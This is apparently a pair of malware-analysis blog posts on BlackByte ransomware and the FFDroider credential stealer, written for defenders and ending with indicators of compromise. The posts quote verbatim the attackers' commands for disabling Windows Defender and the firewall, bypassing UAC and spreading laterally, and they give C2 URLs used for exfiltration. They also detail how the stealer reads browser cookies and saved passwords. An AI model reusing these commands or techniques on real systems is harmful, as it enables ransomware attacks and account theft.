Intuit.QuickBooks.FCS QBCFMonitorService YooIT zhudongfangyu nsService veeam backup sql memtas vss sophos svc$ mepocs wuauserv Table 3. Service names terminated by BlackByte ransomware Windows Firewall BlackByte disables the Windows firewall via the command: netsh advfirewall set allprofiles state off Windows Defender The ransomware executes the following command to delete task manager, resource monitor, and stop the Windows Defender service: cmd /c del C:\Windows\System32\Taskmgr.exe /f /q & del C:\Windows\System32\resmon.exe /f /q & powershell -command "$x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String ('V'+'wBp'+'A'+'G4AR'+'AB'+'lAG'+'YAZQBuAGQA'));Stop-Service -Name $x;Set-Service -StartupType Disabled The Base64 encoded string above decodes to WinDefend. Raccine Anti-Ransomware BlackByte terminates and uninstalls an anti-ransomware product known as Raccine. The Raccine processes that are terminated are raccine.exe and raccinesettings.exe. To uninstall Raccine, BlackByte deletes the following registry keys and values: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Raccine Tray HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\Raccine HKEY_CURRENT_USER\SOFTWARE\Raccine HKEY_LOCAL_MACHINE\SOFTWARE\Raccine BlackByte then deletes Raccine's scheduled task via the command: C:\WINDOWS\system32\schtasks.exe /DELETE /TN "\"Raccine Rules Updater\"" /F Privilege Escalation The ransomware executes the following commands to disable UAC remote restrictions: C:\WINDOWS\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f BlackByte sets the EnableLinkedConnections registry value to force symbolic links to be written to link logon sessions as follows: C:\WINDOWS\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f In BlackByte v2, an additional privilege escalation method was added that exploits the CMSTPLUA COM interface to bypass UAC. The ShellExec method of the interface ICMLuaUtil can be invoked with arbitrary commands with elevated privileges using the ElevationMoniker Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}. This allows BlackByte v2 to execute the svchost.exe process that it injects into with elevated privileges. This privilege escalation technique has also been utilized by other ransomware groups including REvil and LockBit. Lateral Propagation BlackByte ransomware performs network enumeration and can propagate across a local network. First it executes the following commands to enable network discovery and file and printer sharing: C:\WINDOWS\system32\cmd.exe /c netsh advfirewall firewall set rule "group=\"Network Discovery\"" new enable=Yes C:\WINDOWS\system32\cmd.exe /c netsh advfirewall firewall set rule "group=\"File and Printer Sharing\"" new enable=Yes The following commands are then executed to discover other computers and network file shares: net view arp -a BlackByte loads the Active Directory module RSAT-AD-PowerShell and queries for other computers via the following commands: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe Install-WindowsFeature -Name \"RSAT-AD-PowerShell\" –IncludeAllSubFeature powershell -command "Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | FT Name" If the -a flag is passed via the command-line, BlackByte attempts to copy itself to remote computer's public folders via the administrative share \\<remote_computer_name>\c$\Users\Public\<filename.exe>. If that attempt is unsuccessful, BlackByte will default to the path: \\<remote_computer_name>\Users\Public\<filename.exe>. BlackByte uses the Windows task scheduler to execute the ransomware on the remote host using the following command: C:\Windows\system32\schtasks.exe /Create /S <remote_computername> /TN <taskname> /TR "C:\Users\Public\<filename> -s <passphrase>" /ru SYSTEM /sc onlogon /RL HIGHEST /f In BlackByte v2, the filename and task name are pseudorandomly generated using a function that produces eight upper and lowercase alphabetic and numeric characters (e.g., BqgDOVYL.exe and KYL8EpE9, respectively). BlackByte v1 uses a hardcoded filename and command-line argument complex.exe -single and the hardcoded task name asd. After scheduling the task, the remote BlackByte binary is executed using the command: C:\Windows\system32\schtasks.exe /S <remote_computername> /Run /TN <taskname> After the task is executed, BlackByte deletes the remote task using the command: C:\Windows\system32\schtasks.exe /Delete /S <remote_computername> /TN <taskname> /f BlackByte then deletes the copy of itself on the remote host network share. BlackByte also attempts to access administrative shares A$ through Z$ and the folders shown in Table 4. Users Backup Veeam Consejo homes home media common Storage Server Public Web Images Downloads BackupData ActiveBackupForBusiness Backups NAS-DC DCBACKUP DirectorFiles share Table 4. Network shares targeted by BlackByte ransomware Check for Analysis Tools The malware checks the following DLL modules in memory shown in Table 5 and exits if they are present: DLL Filename Description DBGHELP.DLL Windows DbgHelp Library SbieDll.dll Sandboxie SxIn.dll Qihu 360 Total Security Sf2.dll Avast Antivirus snxhk.dll Avast Antivirus cmdvrt32.dll COMODO Internet Security Table 5. DLLs Identified by BlackByte ransomware Disable Debugging BlackByte attempts to prevent debugging tools from monitoring and attaching to various processes by removing the following registry values under SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options: vssadmin.exe wbadmin.exe bcdedit.exe powershell.exe diskshadow.exe net.exe taskkill.exe wmic.exe fsutil.exe Process Injection BlackByte v1 injects the ransomware code in an instance of regedit.exe, while BlackByte v2 injects itself into an instance of svchost.exe. After the process is injected with the ransomware code, the file encryption is then performed in the context of the regedit.exe or svchost.exe process. BlackByte then deletes its original binary on disk by executing the command: C:\Windows\system32\cmd.exe /c ping -n 10 > Nul & Del <blackbyte_filepath.exe> /F /Q The ping command is used to delay the file deletion by 10 seconds. The process injection functionality may be able to bypass some security software detections. Unmount Virtual Machine Images In order to identify virtual machines on the victim's system, BlackByte will execute the command: powershell Get-VM If any virtual machine files are located, BlackByte will attempt to unmount the image by executing the following command line: powershell.exe Dismount-DiskImage -ImagePath <filename.vhd> Backup Volumes The malware executes mountvol.exe to try to mount additional volumes: C:\WINDOWS\system32\mountvol.exe A: \\?\Volume{[GUID]}\ C:\WINDOWS\system32\mountvol.exe B: \\?\Volume{[GUID]}\ C:\WINDOWS\system32\mountvol.exe E: \\?\Volume{[GUID]}\ C:\WINDOWS\system32\mountvol.exe F: \\?\Volume{[GUID]}\ This is likely an attempt to mount and encrypt backup volumes to further prevent file recovery after encryption. File Encryption BlackByte enumerates all physical drives and network shares skipping files that contain the following substrings in Table 6: blackbyte bootnxt ntldr recycle.bin bootmgr thumbs.db ntuser.dat bootsect.bak autoexec.bat iconcache.db bootfont.bin Table 6. BlackByte ransomware file substring filter list BlackByte avoids the following extensions shown in Table 7. url msilog log ldf lock theme msi sys wpx cpl adv msc scr key ico dll hta deskthemepack nomedia msu rtp msp idx ani 386 diagcfg bin mod ics com hlp spl nls cab exe diagpkg icl ocx rom prf themepack msstyles icns mpa drv cur diagcab cmd shs Table 7. File extensions skipped by BlackByte ransomware BlackByte will also skip files located in the following directories shown in Table 8. bitdefender trend micro avast software intel common files programdata windowsapps appdata mozilla application data google windows.old system volume information program files (x86) boot tor browser windows intel perflogs msocache Table 8. Directories whitelisted by BlackByte ransomware BlackByte optimizes encryption speed based on the targeted file size according to the following rules: Filesize Encryption Algorithm Size <= 5MB Encrypt the entire file 15MB >= Size > 5MB Encrypt the first 1MB and last 1MB 150MB >= Size > 15MB Encrypt the first 5MB and last 5MB Size > 150MB Encrypt the first 50MB and last 50MB BlackByte renames encrypted files with the extension .blackbyte. The ransomware creates a DefaultIcon registry key under HKEY_CLASSES_ROOT\.blackbyte that points to an icon file, so that every file that is encrypted will show this icon in Windows explorer. In addition, the registry names s1159 and s2359 are set to BLACKBYTE under HKEY_CURRENT_USER\Control Panel\International. These registry values control the time format for AM/PM. As a result, Windows will show BLACKBYTE instead of AM/PM as shown below in Figure 2. Figure 2. BlackByte AM/PM time format modification This time format modification is performed by executing the commands: reg add "HKCU\Control Panel\International" /v s1159 /t REG_SZ /d BLACKBYTE /f reg add "HKCU\Control Panel\International" /v s2359 /t REG_SZ /d BLACKBYTE /f File Encryption Algorithms (Variant 1) BlackByte v1 must be executed with the command line argument -single followed by a SHA256 hash. This hash is combined with a TOR onion URL (e.g., hxxp://7oukjxwkbnwyg7cekudzp66okrchbuubde2j3h6fkpis6izywoj2eqad[.]onion/). The SHA256 hash given as an argument is concatenated to the onion URL to build the URL of the victim ransom portal that is embedded in the ransom note. This URL is substituted in the [LINK] field of the ransom note template. When BlackByte v1 is executed, the malware tries to connect to a hardcoded URL that hosts a file that is involved in the construction of an AES key that is used to encrypt a victim's files. An example URL used for this purpose was hxxps://185.93.6[.]31/mountain.png. The mechanism used to build the AES key is very similar to the C# variant. After the content of the file mountain.png is downloaded, BlackByte reads the first 16 bytes of the file into a buffer and 24 bytes at the offset 0x410 of the file into another buffer. These 24 bytes are used as key to create and initialize a NewTripleDESCipher object from the Go Cryptographic API. This object is used to decrypt the first 16 bytes of the file mountain.png. The resulting 16-byte buffer will be used as a PBKDF2 password to derive the AES key that will be used to encrypt the victim's files. The BlackByte PBKDF2 algorithm uses SHA1 as the hashing function and 1,000 iterations to derive the AES key. The password is converted to unicode and the unicode string BLACKBYTE_IS_COOL is used as the salt. The following example Python code can be used to derive the AES key used for file encryption. Figure 3. Python code to decrypt BlackByte v1 files with the file (e.g., mountain.png) downloaded from the C2 server Victim's files are encrypted with AES using CBC mode. The first 16 bytes of the PBKDF2 derived key are used as AES key, and the same 16 bytes are used as the initialization vector (IV). The same AES key is used to encrypt all the files on a victim's machine. The PBKDF2 password is encrypted with a hardcoded 1,024-bit RSA public key and the resulting RSA-encrypted value is encoded with Base64. This Base64 encoded string is substituted in the [KEY] field in the ransom note template. The threat actor can decrypt the PBKDF2 password with their corresponding RSA private key, derive the AES key, and thereafter, decrypt the victim's encrypted files. The following is an example RSA public key that was hardcoded in BlackByte: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUBwECQuQiVGorPYvHrJM11OWV E1PS8gaBqIAfPaR1rQHUEXu3iX/da/dCtV8Z27/SIA/ZYUNhTyUsX9Snjz8zve90 QAiG1c/BS81WWRax7M7i1rESStVwOaUDAj5w6cz9GwDMGYI+wve9Qyjtw5R6hr5I qlIEig1Wy1X27vUC2wIDAQAB -----END PUBLIC KEY----- Ransom Note and BlackByte Icon (Variant 1) The BlackByte ransom note and an image containing an icon file are stored as Base64 encoded strings in the binary. After the encryption of the victim's files, the ransom note is written to a file named BlackByteRestore.txt, and the previously mentioned icon file is written to a file named BB.ico. An example BlackByte v1 ransom note template is shown below in Figure 4. The BlackByte logo uses the extended ASCII characters of the 8-bit code page 437 to create 3-D block letters. Figure 4. Go-based BlackByte v1 ransom note template File Encryption Algorithms (Variant 2) The second variant of BlackByte ransomware does not require a network connection to start encryption. In addition, the ransomware's command-line parameters were modified. BlackByte v2 requires two command line parameters: sample.exe <flags> <passphrase> The first parameter is a flag (e.g., -a) that controls specific behaviors of the ransomware (e.g., to propagate across a network), while the second parameter is a passphrase (e.g., 54726956) that is verified before file encryption commences. If BlackByte is not provided with any command-line arguments, the ransomware prints out the phrase BlackByte ransomware, 8-th generation, the most destructive of all ransomware products, real natural disaster. and exits. BlackByte v2 removed the RSA and AES file encryption algorithms from the ransomware. The encryption algorithms were replaced with Curve25519 elliptic curve cryptography for asymmetric encryption and ChaCha for symmetric algorithm. The Curve25519 functions are statically compiled within BlackByte using Go library code. BlackByte generates a random 32-byte buffer per file using the Windows API function RtlGenRandom(). This random value is used as a file's secret key. The file's public key is calculated as follows: file_public_key = Curve25519(file_secret_key, base_point = 0x9) The threat actor's Curve25519 public key is hardcoded in the binary and stored as a Base64 encoded string. For the sample with the SHA256 hash ffc4d94a26ea7bcf48baffd96d33d3c3d53df1bb2c59567f6d04e02e7e2e5aaa, the hardcoded Curve25519 public key was the string: 2BSTzcpdqRW/a2DRT3TiL9lN5INRmmn1lCQWzZhkfQs= (d81493cdca5da915bf6b60d14f74e22fd94de483519a69f5942416cd98647d0b) The shared secret is derived as follows: shared_secret = Curve25519(file_secret_key, blackbyte_public_key) The shared secret is hashed with SHA256 to derive a 32-byte ChaCha encryption key. The ChaCha encryption key is then hashed again with SHA256 to derive the ChaCha nonce (using 12 bytes starting at offset 10). Once the ChaCha key parameters have been derived, they will be used to encrypt the file's content. The encrypted data is written to the file (overwriting the original content). Finally, the victim's 32-byte public key is concatenated to the encrypted content of the file. The BlackByte v2 encryption algorithm is shown below in Figure 5. Figure 5. BlackByte v2 file encryption algorithm The threat actor can use the file's public key together with the threat actor's secret key to recover the shared secret and use it to decrypt the encrypted data as follows: shared_secret = Curve25519(blackbyte_secret_key, file_public_key) The following Python code in Figure 6 can be used to decrypt BlackByte encrypted data from a file that has been encrypted if the threat actor's private key is obtained: Figure 6. Python code to decrypt BlackByte v2 files with the threat actor's private key BlackByte v2 also encrypts the filename after encryption. The encryption is a simple XOR layer with a hardcoded key, followed by Base64 encoding as shown in Figure 7. Figure 7. BlackByte v2 filename encryption In the analyzed sample, the XOR key was fuckyou123. After a filename has been encrypted, the file is renamed and the .blackbyte extension is concatenated. Ransom Note and BlackByte Icon (Variant 2) BlackByte v2 introduced some improvements to storing the ransom note and icon file. The Base64 encoded blocks for the ransom note and icon file added an XOR-based encryption layer. The XOR key to decrypt the ransom note and icon file is embedded in the ransomware as an obfuscated string. The icon file is written to the victim's %APPDATA% directory using a randomly generated filename consisting of six upper and lowercase alphabetic and numeric characters (e.g., i2uOJh.ico). BlackByte v2 contains a hardcoded TOR onion URL and path for the victim portal rather than relying on the command-line for the path value. BlackByte v2 also added a hardcoded password that is required to access the victim ransom portal. An example password is: gkaW_#DD[Aw_JTB@luXpJBdye6eLr@{bx5pHFA)T5FpMYJC]f|@ The BlackByte v2 ransom note template is shown below in Figure 8. The [LINK] substring in the ransom note is replaced with the hardcoded BlackByte victim URL and the [PASSW] substring is replaced with the victim-specific password for the ransom portal. Figure 8. BlackByte v2 ransom note template An example ransom note when populated after file encryption has been performed for BlackByte v2 is shown in Figure 9. Figure 9. BlackByte v2 ransom note After BlackByte encrypts files, the ransom note is written to each directory, the encrypted files are renamed, and their icons are replaced by the BlackByte icon. Ransom Portal and Leak Site When a victim accesses the link in the ransom portal, they are instructed to enter the access key from the ransom note as shown in Figure 10. Figure 10. BlackByte victim ransom portal After a victim authenticates, they are provided the ransom demand and instructions how to purchase Bitcoin. There is also a live chat feature as shown in Figure 11. Figure 11. BlackByte ransom negotiation portal Victims are further pressured to pay the ransom, or risk having their data publicly leaked on their TOR hidden service as shown in Figure 12. Figure 12. BlackByte victim leak site Print Bombing In addition to dropping a ransom note on the victim's machine, the ransomware sends a message to be printed by any connected printers. The printed ransom message is an RTF file with the content shown below: {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}} {\*\generator Riched20 10.0.19041}\viewkind4\uc1 \pard\sa200\sl276\slmult1\qc\f0\fs56\lang9 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \fs56 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \fs56 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \fs56 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \fs56 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \fs56 Your HACKED by BlackByte team.\par Connect us to restore your system.\fs22\par \pard\sa200\sl276\slmult1\par } In BlackByte v1, the message is written to the file C:\Users\tree.dll and the following command is executed to print it: C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1 ,75) do start wordpad.exe /p C:\\Users\\tree.dll In addition, a task named Task is created to print the message every hour: C:\WINDOWS\system32\schtasks.exe /create /np /sc HOURLY /tn Task /tr "C:\Windows\System32\cmd.exe /c for /l %x in (1,1,75) do start wordpad.exe /p C:\Users\tree.dll" /st 07:00 In BlackByte v2, the text of the message is written to a file with a random name consisting of six upper and lowercase alphabetic and numeric characters. The task name is also created randomly consisting of eight upper and lowercase alphabetic and numeric characters. An example task command to print the ransom message is shown below: C:\WINDOWS\system32\schtasks.exe /create /np /sc HOURLY /tn 4y77VPNo /tr "C:\Windows\System32\cmd.exe /c for /l %x in (1,1,75) do start %SystemDrive%\Program Files\Windows NT\Accessories\WordPad.exe /p C:\Users\1HoWkK.dll" /st 07:00 Anti-Analysis / Anti-Forensics Techniques String Obfuscation Both Go-based BlackByte variants encrypt most strings using a tool similar to AdvObfuscator. Each string is decrypted using a unique algorithm with polymorphic code that implements different operations xor, addition, subtraction, etc. In the examples below, the encrypted strings in Figure 13 are built and decrypted from arguments on the stack. Figure 13. BlackByte string obfuscation examples Modified UPX Packer In addition to string obfuscation, BlackByte samples are typically packed with UPX. In BlackByte v1, all of the samples observed by ThreatLabz were packed with the standard UPX packer and could be unpacked via the command-line parameter -d. The early samples of BlackByte v2 were also packed with the standard UPX packer. However, the most recent BlackByte samples (since March 2022) are packed with a modified version of UPX. The names of the sections have been renamed from UPX0 and UPX1 to BB0 and BB1, respectively. Figure 14 shows an example BlackByte v2 sample with the modified UPX headers. Figure 14. BlackByte v2 altered UPX header Antivirus Detection Due to BlackByte's anti-analysis features, polymorphic code, and heavy obfuscation many antivirus products have very low detection rates. For example, the BlackByte sample with the SHA256 534f5fbb7669803812781e43c30083e9197d03f97f0d860ae7d9a59c0484ace4 has an antivirus detection rate of 4/61 at the time of publication. Conclusion BlackByte is a full-featured ransomware family operated by a threat group that continues to breach organizations and demand large ransom amounts. The threat group also performs double extortion attacks by stealing an organization's files and leaking them online if the ransom is not paid. The ransomware code itself is regularly updated to fix bugs, bypass security software, and hinder malware analysis. The encryption algorithms have also been improved to be more secure and prevent file recovery. This demonstrates that the threat group will likely continue to improve the ransomware and remain a significant threat to organizations. Cloud Sandbox Detection Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win64.Ransom.Blackbyte Indicators of Compromise IoC Type Value BlackByte v1 Packed Sample 1df11bc19aa52b623bdf15380e3fded56d8eb6fb7b53a2240779864b1a6474ad BlackByte v1 Packed Sample 388163c9ec1458c779849db891e17efb16a941ca598c4c3ac3a50a77086beb69 BlackByte v1 Unpacked Sample 44a5e78fce5455579123af23665262b10165ac710a9f7538b764af76d7771550 BlackByte v1 Unpacked Sample 6f36a4a1364cfb063a0463d9e1287248700ccf1e0d8e280e034b02cf3db3c442 BlackByte v2 Packed Sample ffc4d94a26ea7bcf48baffd96d33d3c3d53df1bb2c59567f6d04e02e7e2e5aaa BlackByte v2 Packed Sample 9103194d32a15ea9e8ede1c81960a5ba5d21213de55df52a6dac409f2e58bcfe BlackByte v2 Packed Sample e434ec347a8ea1f0712561bccf0153468a943e16d2cd792fbc72720bd0a8002e BlackByte v1 Onion URL hxxp://7oukjxwkbnwyg7cekudzp66okrchbuubde2j3h6fkpis6izywoj2eqad.]onion BlackByte v2 Onion URL hxxp://fyk4jl7jk6viteakzzrxntgzecnz4v6wxaefmbmtmcnscsl3tnwix6yd.]onion BlackByte v2 Onion URL hxxp://p5quu5ujzzswxv4nxyuhgg3fjj2vy2a3zmtcowalkip2temdfadanlyd.]onion BlackByte v1 AES Key Seed URL hxxps://185.93.6[.]31/mountain.png References Tue, 03 May 2022 09:57:52 -0700 Javier Vicente FFDroider Stealer Targeting Social Media Platform Users Introduction Credential stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz team has discovered many new types of stealer malwares across different attack campaigns. Stealers are malicious programs that threat actors use to collect sensitive information with various techniques including keylogging, cookie stealing, and sending stolen information to the Command and Control Server. Recently, ThreatLabz identified a novel windows based malware creating a registry key as FFDroider. Based on this observation, ThreatLabz named this new malware the Win32.PWS.FFDroider. Designed to send stolen credentials and cookies to a Command & Control server, FFDroider disguises itself on victim’s machines to look like the instant messaging application “Telegram”. ThreatLabz observed multiple campaign related to FFDroider stealer in our zscaler cloud which arrived via the compromised URL download.studymathlive[.]com/normal/lilay.exe and are all connected by a malicious program embedded into cracked version of installers and freeware. Figure 1: FFDroider campaign observed in Zscaler cloud Key features of this attack Steals cookies and credentials from the victim’s machine. Targeting social media platforms to steal the credentials and cookies. The stealer signs into victims' social media platforms using stolen cookies, and extracts account information like Facebook Ads-manager to run malicious advertisements with stored payment methods and Instagram via API to steal personal information.. Leverages inbound whitelisting rules in Windows Firewall allowing the malware to be copied at desired location. Attacker uses to track the infection counts. The attack cycle Figure 2: Attack cycle Infographic This article focuses primarily on the dissection of the stealer and its functionality. FFDroider stealer analysis The FFDroider stealer is packed with the popular “ASPack v2.12” packer. To best understand how the stealer works, ThreatLabz unpacked. decompiled, and debugged the malware, performing the following tasks during execution: To detect the full malware campaign across the Zscaler cloud, researchers unpacked the file to expose the PDB path: F:\FbRobot\Release\FbRobot.pdb Figure 3: PDB path During execution the stealer creates a Mutex to avoid reinfecting the host with different instances of the same malware. The observed mutex value is: “37238328-1324242-5456786-8fdff0-67547552436675” Figure 4: Mutex name created by malware To make copies of itself for further execution, the malware creates a Directory in the Documents folder named “VlcpVideov1.01”. Figure 5: Creating a copy of itself in the desired directory with a renowned application icon. Then it executes a String Decryption Routine which is basically a XOR Decryption loop amongst the encrypted string and the key where in it decrypts the following strings which include DLL and API names which are further loaded and fetched using LoadLibraryA() and GetProcAddress() WinApi’s “Wininet.dll” “InternetGetCookieExW” “ieframe.dll” “IEGetProtectedModeCookie” “Netapi32.dll” “NetWkstaGetInfo” “NetAPIBufferfree” “Advapi32.dll” “Iphpapi.dll” “RegCreateKey” ‘GetAdaptersInfo “FFDroider” Figure 6: String Decryption Routine To decrypt strings across the malware sample, ThreatLabz rewrote the XOR decryption logic in python, shown in the screenshot below. The complete decryption code snippet can be found in the Appendix section of this article. Figure 7: String decryption emulation in Python Inspiring the name, the FFDroider stealer uses the decrypted string and RegCreateKey() function to create the registry key: “HKCU\Software\ffdroider\FFDroider”. Figure 8: Creates a registry key named “FFDroider” Then the malware creates multiple threads using CreateThread() to speed the theft of cookies and credentials while hindering reverse engineering. An initial GET request is sent to the Command & Control Server along with the filename via WinHTTPSendRequest(). GET Request: http[:]//152[.]32[.]228[.]19/seemorebty/il.php?e=<filename> Referrer: https[:]facebook[.]com Previously a Cobalt Strike server according to third-party threat intel sources Figure 9: Initial request to the C&C server logs the filename and IP address of the infected host. The response to this request is an URL which is used to log the Public IP address of the environment where the malware has been detonated and might be used by the attackers to track location and IP addresses details of the victim. After analyzing the statistics of multiple Embedded iplogger URLs we can see how the IP addresses have been logged in the screenshots below. IPLogger URL: https[:]//iplogger[.]org/logger/ey4zrs2miAY6 Figure 10: IP address of Infected host logged using The malware further initiates the Cookie and Credential Stealer functionalities and targets the following browsers and websites: - Target Browsers: Google Chrome Mozilla Firefox Internet Explorer Microsoft Edge Figure 12: List of target browsers - Target Websites: www[.]facebook[.]com www[.]instagram[.]com www[.]amazon[.]ca/cn/eg/fr/de/in/ www[.]all-access.wax[.]io www[.]ebay[.]com www[.]etsy[.]com www[.]twitter[.]com Figure 13: List of Target Web applications - uses stack strings Understanding the Cookie and Credential Stealer Routine: Google Chrome: The FFDroider steals cookies and saved login credentials for the Chrome browser from the following data stores: i) Reads and parses the Chromium SQLite Cookie store from the C:\Users\<username>\AppData\Local\Google\Chrome\UserData\Default\Network\Cookies and writes the file onto the path where the binary resides using WriteFile() named as “d” Figure 14: Reads and parses the Chromium SQlite cookie store ii) Reads and parses the Chromium SQLite Credential Store from the C:\Users\<username>\Appdata\Local\Chrome\User Data\Default\Login Data containing the saved credentials and writes that onto the path where the binary resides using WriteFile() named as “p” as the credential store is been locked in the AppData directory. Figure 15: Reads and parses the “Chrome Saved Login Credentials” iii) The Chrome SQlite Credential store includes attributes - action_url, username_value, password_value, out of this the password_value is encrypted using Windows Crypt API namely CryptProtectData. The malware in this case decrypts the encrypted password blob by first parsing the “Login Data” credential store by executing an SQL query such as “select username_value, password-value FROM logins where origin_url like \’\’;”” as seen in the screenshot below. Figure 16: Execution of SQL queries across the Login Data Credential store for parsing the required credentials The password cache is fetched from the output and passed to the CryptUnProtectData() function for in memory decryption, revealing clear-text credentials stolen from the targeted web application Credential Store. Figure 17: Call to CryptUnprotectData to decrypt Saved chrome passwords in memory iv) Then it reads and parses the local state cookies stored at C:\Users\<username>\AppData\Local\Google\Chrome\UserData\LocalState and uses WriteFile() to write to the path named “u” where the binary resides. Figure 18: Reads and parses the local state chromium cookies Here the Cookies are also decrypted in memory using the CryptUnprotectData() function by loading the json “Local State” file and filtering out the two parameters: os_crypt and encrypted_key and then decrypted using the CryptUnprotectData() and stored in memory. Figure 19: Decrypts the Local state Cookies in memory using CryptUnprotectData The following decryption routine takes place to steal the cookies and stored credentials for all the Chrome stores implementing the same process using the SELECT SQL queries via sqlite3 library to fetch the required value and then CryptUnprotectData() function to decrypt the cookies and credentials in memory as per the target website. Figure 20: Different SQl Queries implemented in the binary to parse Cookie and Credentials stores Internet Explorer/Edge: The FFDroider Stealer gathers cookie,browser history and other user specific information from the internet explorer in the following way: i) The malware executes InternetGetCookieRxW() function to retrieve the cookies for the target websites mentioned above (HTTP ONLY cookies are been read) if they are restricted the IEGetProtectedModeCookie() function is been used to access low integrity cookies for all the target applications during which it launches an another process “IElowutil.exe” which is a utility in place to access the low integrity cookies and processes. Figure 21: Execution of InternetGetCookieExW & IEGet ProtectedMode Cookie to steal cookies from the Internet Explorer browser It also reads the Appdata\Roaming\Microsoft\Windows\Cookies and fetches the Cookie and the URL details from the Cookie store along with that it also parses the Cookies,History and downloads from the Microsoft Edge WebCache: C:\Users\<username>\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV01.dat by copying it onto the place where the binary resides into the file named “d” which earlier had the chrome cookies. Figure 22: Reads and parses the web cache file of the Edge browser to steal cookies, browsing history, and session data. Furthermore, it reads and parses the Appdata\Roaming\Microsoft\-Windows\History\History.IE5 and \Appdata\Local\Microsoft\Windows\Temporary internet files\Content.IE5 which would allow the malware to read the browsing history and the The Internet Explorer cache from the stores wherein it queries for attributes such as URL visited,Filename other metadata for the target websites. Also the malware plans to steal saved VPN/Dial Up credentials from the \Appdata\Microsoft\Network\Connections\Pbk\rasphone.pbk & \Pbk\rasphone.pbk if present, by leveraging the Rasapi32.dll API calls. Mozilla FireFox: The FFDroider Stealer steals and parses the cookies from the Firefox browser initially by reading the profiles.ini (Path: C:\Users\<username>\Appdata\Roaming\Mozilla\Firefox\profiles.ini) which consists of the name(s) of the used profile(s). Further the malware uses those profile names to access SQLite cookie stores named: “cookies.sqlite” (Path: C:\Users\<username>\Appdata\Roaming\Mozilla\Firefox\Profiles\<profilename>\cookies.sqlite) for the user profiles. The cookie attributes are then parsed by using few SQl Queries such as “SELECT host,name,path,value,expiry FROM moz_cookies to fetch the Hostkey,Name,Path,Value and the Expiry of the Cookies stored in the Firefox Cookie store. Figure 23: Reads and parses the Mozilla Firefox SQlite Cookie store. Facebook and Instagram Data Gathering: The FFDroider Stealer holds another functionality wherein if the malware grabs cookies for or from any of the target browsers the cookies are replayed to www[.]facebook[.]com and www[.]instagram[.]com to gather intelligence from the Users Facebook or Instagram accounts. Facebook: Following requests were executed by the malware post grabbing the cookie values: i) Initially it sends a GET request to the https[:]//facebook[.]com along with the stealed facebook cookie from the target browsers to check whether the malware is able to authenticate using the following set of stealed cookies. Figure 24: Passes the stolen facebook cookie to facebook[.]com for authentication ii) If the cookies are valid and provide proper authentication, further it sends a GET /settings with the Access Token to along with the authenticated stealed cookies in order to fetch the User Account settings of the Compromised Account. Figure 25: Grabs Account details and Access Token from the Compromised facebook account iii) Further it starts enumerating whether the compromised user account is a business account and having access to Facebook Ads Manager and fetch the following details using the stealed cookies by parsing the responses: Fetch Account Billing and Payment Information from the Facebook Adsmanager Fetch users Facebook pages and bookmarks. Number of facebook friends and other user related information Figure 26: Fetches Account Billing information from Ads manager along with the Facebook Bookmark & Pages information. The following information may be leveraged later to run malicious advertisements from the victims account and utilize the compromised accounts payment method to spread the malware further. Instagram: In the case of instagram, whenever the malware grabs any instagram cookies from the target browser cookies stores, it performs the following routine in to steal user account details from the Instagram account as follows: i) Initially it sends a GET request to the https[:]//instagram[.]com along with the stealed instagram cookie to check whether the malware is able to authenticate using the following set of stealed cookies and parses the html response. Figure 27: Passes the Stolen Instagram cookie to instagram[.]com for authentication ii) If there is a valid response, it sends the next GET request to the instagram server with the username of the compromised account GET /<username> which was parsed from the previous response and basically visits the profile page. Figure 28: Visits the profile of the Victim in order to grab required user information iii) Further it sends another request: GET /accounts/edit/ to www[.] which opens up the Account settings containing all the personal account related information such as the account email address, mobile number and other details of the compromised account. Figure 29: Grabs Personal information such as email address, phone number from the instagram account edit webpage. Furthermore, in the same manner all of the account related information such as username,password,mobile number and other account details are been grabbed from the target websites in the form of cookies,saved credentials and fetched using different API’s and then sent to the command and control server in an encrypted manner to the threat actors as discussed below. Exfiltration of Stolen Information to the C2 Server: Then the malware sends an HTTP POST request to the C2 server: http[:]//152[.]32[.]228[.]19/seemorebty along with the encrypted cache of data for exfiltration. Figure 30: Encrypted request sent to Command & Control server for exfiltrating the encrypted data cache. Such kind of encrypted data using modified base64 encoding is sent to the C&C from the infected system when a valid facebook account cookie was provided to the malware in the chrome browser. The decrypted json body can be seen in the screenshot below for Facebook related exfiltration where in a lot of Facebook user account information has been transmitted to the C2: Figure 31: Decrypted Request consisting of the Stolen information from the compromised facebook Cookie An Instagram user’s personal account information including cookies, email password, Instagram userID, saved password, phone number are revealed in this decrypted request.. Decrypted JSON body: Figure 32: Decrypted request showing sensitive data stolen from Instagram. Encrypted request: Figure 33: Encrypted request showing stolen Instagram account information. Also an inbound whitelisting rule in the Windows Firewall as shown below in the screenshot which requires administrative privileges. Figure 34: Inbound Firewall rule added by the FFDroider malware which would further enable disallowed connections to the infected host. Downloader Functionality: After stealing and sending across the stolen details from the target browsers and websites to the Command & Control. The FFDroider Stealer further it tries to upgrade itself in a fixed interval of time by downloading other modules from an update server by sending across request to the following as mentioned - URL:http[:]//186[.]2[.]171[.]17/seemorebtu/poe.php?e=<filename> by calling wininet.dll APIs such as InternetOpenUrlW and InternetReadFile. 